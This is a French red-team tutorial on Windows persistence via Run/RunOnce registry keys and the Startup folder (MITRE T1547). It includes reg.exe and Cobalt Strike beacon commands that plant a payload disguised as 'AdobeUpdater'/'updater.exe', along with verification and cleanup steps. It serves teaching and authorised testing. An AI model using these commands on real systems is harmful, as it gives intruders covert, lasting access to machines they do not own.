L'exécution automatique au démarrage ou à l'ouverture de session est une famille de techniques, référencée par **MITRE ATT&CK** sous l'identifiant [**T1547**](https://attack.mitre.org/techniques/T1547/ "null"), où un attaquant configure le système pour exécuter automatiquement une charge utile (payload) lors du démarrage de la machine ou de la connexion d'un utilisateur.
## Technique 1 : Clés de Registre "Run" / "RunOnce"
### Principe
La base de registre Windows contient de nombreuses clés qui permettent à des programmes de se lancer automatiquement à l'ouverture de session. Elles sont utilisées de manière légitime par Windows et des applications tierces. Un attaquant peut simplement y ajouter une entrée pour établir sa persistance.
Les clés les plus communes sont :
- `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`: Pour l'utilisateur courant. L'entrée est **persistante** et s'exécute à chaque connexion.
- `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`: Pour l'utilisateur courant. L'entrée est **supprimée après sa première exécution**.
- `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`: Pour tous les utilisateurs. L'entrée est persistante et nécessite des **privilèges élevés** pour être modifiée.
### Implémentation
L'exemple ci-dessous utilise des commandes natives de Windows (`reg.exe`) qui peuvent être exécutées depuis `cmd.exe` ou `powershell.exe`.
```
# 1. Naviguer vers un répertoire où déposer le payload (ex: %TEMP%)
cd %TEMP%
# 2. Déposer le payload (ici, on simule en créant un fichier)
copy C:\chemin\vers\mon\payload.exe updater.exe
# 3. Ajouter la clé de registre pour l'utilisateur courant (HKCU)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AdobeUpdater" /t REG_SZ /d "C:\Users\MonUser\AppData\Local\Temp\updater.exe" /f
```
**Exemple avec un C2 (type Cobalt Strike) :
```
// Se déplacer dans un répertoire discret
beacon> cd C:\Users\pchilds\AppData\Local\Microsoft\WindowsApps
// Téléverser le payload depuis la machine de l'attaquant
beacon> upload C:\Payloads\http_x64.exe
// Renommer le payload pour qu'il paraisse légitime
beacon> mv http_x64.exe updater.exe
// Créer la valeur dans la clé de registre Run. Le type REG_EXPAND_SZ permet d'utiliser des variables d'environnement.
beacon> reg_set HKCU Software\Microsoft\Windows\CurrentVersion\Run Updater REG_EXPAND_SZ %LOCALAPPDATA%\Microsoft\WindowsApps\updater.exe
```
### Vérification & Nettoyage
```
# Pour vérifier que la clé a bien été ajoutée
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AdobeUpdater"
# Pour supprimer la persistance
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AdobeUpdater" /f
```
## Technique 2 : Dossier de Démarrage (Startup Folder)
### Principe
Une méthode simple et ancienne consiste à placer un exécutable ou un raccourci (.LNK) dans le dossier "Démarrage" de l'utilisateur. Tout ce qui s'y trouve est exécuté à l'ouverture de la session.
- **Chemin pour l'utilisateur courant :** `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`
- **Chemin pour tous les utilisateurs (nécessite des privilèges élevés) :** `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup`
### Implémentation (Red Team)
```
# 1. Déposer le payload directement dans le dossier de démarrage
copy C:\chemin\vers\mon\payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe"
```
**Exemple avec un C2 :**
```
// Se déplacer dans le dossier de démarrage de l'utilisateur
beacon> cd "C:\Users\pchilds\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
// Téléverser et renommer le payload
beacon> upload C:\Payloads\http_x64.exe
beacon> mv http_x64.exe updater.exe
```
### Nettoyage
```
# Supprimer simplement le fichier
del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe"
```